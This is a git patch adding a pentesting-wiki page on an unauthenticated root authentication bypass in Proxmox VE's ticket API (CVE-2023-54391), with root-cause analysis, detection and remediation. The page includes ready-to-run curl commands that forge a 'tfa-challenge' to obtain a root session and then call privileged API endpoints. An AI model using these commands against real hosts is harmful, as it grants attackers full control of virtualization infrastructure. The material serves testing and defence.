From 2b91fb6ed58777b1b23064c83c469624a37c39a8 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 2 Sep 2026 02:58:01 +0000 Subject: [PATCH] =?UTF-8?q?Add=20content=20from:=20Proxmox=20VE=207.0?= =?UTF-8?q?=E2=80=938.0.3:=20Unauthenticated=20Single-Request=20Root=20Au.?= =?UTF-8?q?..?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 1 + .../pentesting-web/proxmox-ve.md | 92 +++++++++++++++++++ src/pentesting-web/2fa-bypass.md | 2 + src/pentesting-web/login-bypass/README.md | 2 + 5 files changed, 98 insertions(+) create mode 100644 src/network-services-pentesting/pentesting-web/proxmox-ve.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6beed39d506..58886c34479 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -557,6 +557,7 @@ - [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) - [Perl Tricks](network-services-pentesting/pentesting-web/perl-tricks.md) - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md) + - [Proxmox VE](network-services-pentesting/pentesting-web/proxmox-ve.md) - [Python](network-services-pentesting/pentesting-web/python.md) - [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md) - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index c9e82824737..68de64015c1 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -98,6 +98,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno - [**ZoneMinder / motionEye / Motion**](zoneminder-motioneye-motion.md) - [**Nginx**](nginx.md) - [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html) +- [**Proxmox VE**](proxmox-ve.md) - [**Python**](python.md) - [**Roundcube**](roundcube.md) - [**ServiceNow**](servicenow.md) diff --git a/src/network-services-pentesting/pentesting-web/proxmox-ve.md b/src/network-services-pentesting/pentesting-web/proxmox-ve.md new file mode 100644 index 00000000000..5a035b67233 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/proxmox-ve.md @@ -0,0 +1,92 @@ +# Proxmox VE + +{{#include ../../banners/hacktricks-training.md}} + +Proxmox VE exposes its HTTPS management interface and API through **`pveproxy`**, normally on TCP **8006**. Treat this as a high-value management plane: the ticket endpoint returns signed API sessions, and state-changing API calls also require the associated CSRF prevention token.[[1]](#references)[[2]](#references) + +```bash +nmap -Pn -sV -p8006 +curl -skI https://:8006/ +``` + +## TFA state confusion to a full API ticket + +CVE-2023-54391 (PSA-2026-00043-1) affects `libpve-access-control >= 7.0-7 and < 8.0.4`. A client-controlled `tfa-challenge` parameter can place `POST /api2/json/access/ticket` directly into the second-factor path, so an unauthenticated request may obtain a full session as any enabled user without configured login TFA; default installations normally include `root@pam` in that set.[[1]](#references)[[2]](#references) + +A minimal authorized test is one request; `password` can be arbitrary and `tfa-challenge` only needs to be non-empty.[[2]](#references) + +```bash +curl -sk -X POST 'https://:8006/api2/json/access/ticket' \ + -H 'Content-Type: application/x-www-form-urlencoded' \ + --data 'username=root@pam&password=x&tfa-challenge=1' +``` + +A vulnerable host returns HTTP 200 with `data.username`, a signed `data.ticket`, `data.CSRFPreventionToken`, and the selected user's capability map. Patched versions reject the forged challenge with HTTP 401. The returned credential is a normal session rather than an intermediate TFA ticket, so it is immediately usable against privileged API operations.[[2]](#references) + +```bash +BASE='https://:8006' +RESP="$(curl -sk -X POST "$BASE/api2/json/access/ticket" \ + --data 'username=root@pam&password=x&tfa-challenge=1')" +TICKET="$(jq -r '.data.ticket' <<<"$RESP")" +CSRF="$(jq -r '.data.CSRFPreventionToken' <<<"$RESP")" + +# Read-only validation +curl -sk "$BASE/api2/json/nodes" -H "Cookie: PVEAuthCookie=$TICKET" + +# State-changing calls additionally require the CSRF token +curl -sk -X POST "$BASE/api2/json/" \ + -H "Cookie: PVEAuthCookie=$TICKET" \ + -H "CSRFPreventionToken: $CSRF" +``` + +### Root-cause chain + +The reusable bug pattern is **client-selected authentication state plus fail-open null handling**. Trace every branch from the public endpoint to the point where a full session is minted; do not assume that reaching an “MFA response” handler proves completion of the password step. The vulnerable chain is:[[2]](#references) + +1. Supplying `tfa-challenge` selects the second-factor branch and prevents execution from reaching the realm plugin's password validator. +2. For accounts without the legacy `keys` field, `user_get_tfa()` returns `undef` before loading the modern `priv/tfa.cfg` object. +3. `authenticate_2nd_new_do()` sees the undefined configuration and returns before `verify_ticket($tfa_challenge, 0, $username)` can validate the challenge signature and user binding. +4. The caller interprets the missing pending-TFA value as authentication complete and mints a full ticket for the attacker-selected identity. + +This suggests several general code-review and black-box tests: force later authentication states without first completing earlier states; mutate signed challenge fields to empty, arbitrary, cross-user, expired, and replayed values; test accounts with absent, empty, disabled, migrated, and directory-synchronized MFA metadata; and verify that every null/error result fails closed before session creation.[[2]](#references) + +## Version verification + +Check the installed package rather than inferring exposure only from the overall PVE release, because package and platform versions correlate loosely.[[1]](#references) + +```bash +dpkg-query -W -f '${Version}\n' libpve-access-control +# or +pveversion -v +``` + +The package, configuration, and network boundaries are:[[1]](#references) + +- **Vulnerable:** `libpve-access-control >= 7.0-7 and < 8.0.4`. +- **Fixed:** `libpve-access-control >= 8.0.4`; supported PVE releases are not affected. +- **Configuration boundary:** users with any second factor configured for login do not take the vulnerable no-TFA path. +- **Reachability boundary:** exploitation requires access to TCP 8006 directly or through a reverse proxy. + +## Detection + +Hunt in `pveproxy` access logs and syslog for `POST /api2/json/access/ticket` requests carrying `tfa-challenge`. Prioritize HTTP 200 ticket creation from unexpected sources, successful `root@pam` authentication without the expected preceding flow, and follow-on terminal, permissions, VM, storage, backup, migration, networking, or power-management API requests. On patched hosts, bursts of HTTP 401 responses to the same endpoint can indicate attempted exploitation, but normal failed logins and broken clients remain false positives.[[2]](#references) + +## Remediation + +Upgrade to a supported release with `libpve-access-control >= 8.0.4`. For an affected EOL installation that cannot be upgraded immediately, Proxmox's stop-gap inserts challenge verification before the vulnerable second-factor branch; verify that the file contains three matching calls and then reload both services.[[1]](#references) + +```bash +sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm + +grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l +systemctl reload-or-restart pvedaemon pveproxy +``` + +Reduce exposure independently of patching: restrict TCP 8006 to trusted administration networks. A localhost-only deployment can set `LISTEN_IP="127.0.0.1"` in `/etc/default/pveproxy`, restart `pveproxy`, and provide access through a VPN or SSH tunnel.[[1]](#references)[[2]](#references) + +## References + +- [1] [Proxmox PSA-2026-00043-1 — Authentication bypass in EOL Proxmox VE 7 release](https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/post-867929) +- [2] [Nathan Xavier Golez — Proxmox VE 7.0–8.0.3 unauthenticated single-request root authentication bypass](https://blog.nathangolez.com/2026/08/proxmox-ve-7-08-0-3-unauthenticated-single-request-root-auth-bypass) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/2fa-bypass.md b/src/pentesting-web/2fa-bypass.md index fa6a7717b28..c5021ef62f9 100644 --- a/src/pentesting-web/2fa-bypass.md +++ b/src/pentesting-web/2fa-bypass.md @@ -6,6 +6,8 @@ ### **Direct Endpoint Access** +See [Proxmox VE](../network-services-pentesting/pentesting-web/proxmox-ve.md#tfa-state-confusion-to-a-full-api-ticket) for a product-specific example of client-selected TFA state. + Try the post-login endpoint directly and verify that the server—not only the UI—requires completion of the MFA state. If an application incorrectly trusts navigation metadata, also test the correctly spelled HTTP **`Referer` header**; a secure implementation must not use it as proof of MFA.[[2]](#references)[[5]](#references) ### **Token Reuse** diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index 7f369ed8b88..67a8801e061 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -4,6 +4,8 @@ ## **Bypass regular login** +See [Proxmox VE](../../network-services-pentesting/pentesting-web/proxmox-ve.md#root-cause-chain) for a product-specific example of authentication state confusion. + If you find a login page, test the following authentication and authorization failure modes.[[3]](#references) - Check for **comments** inside the page (scroll down and to the right?)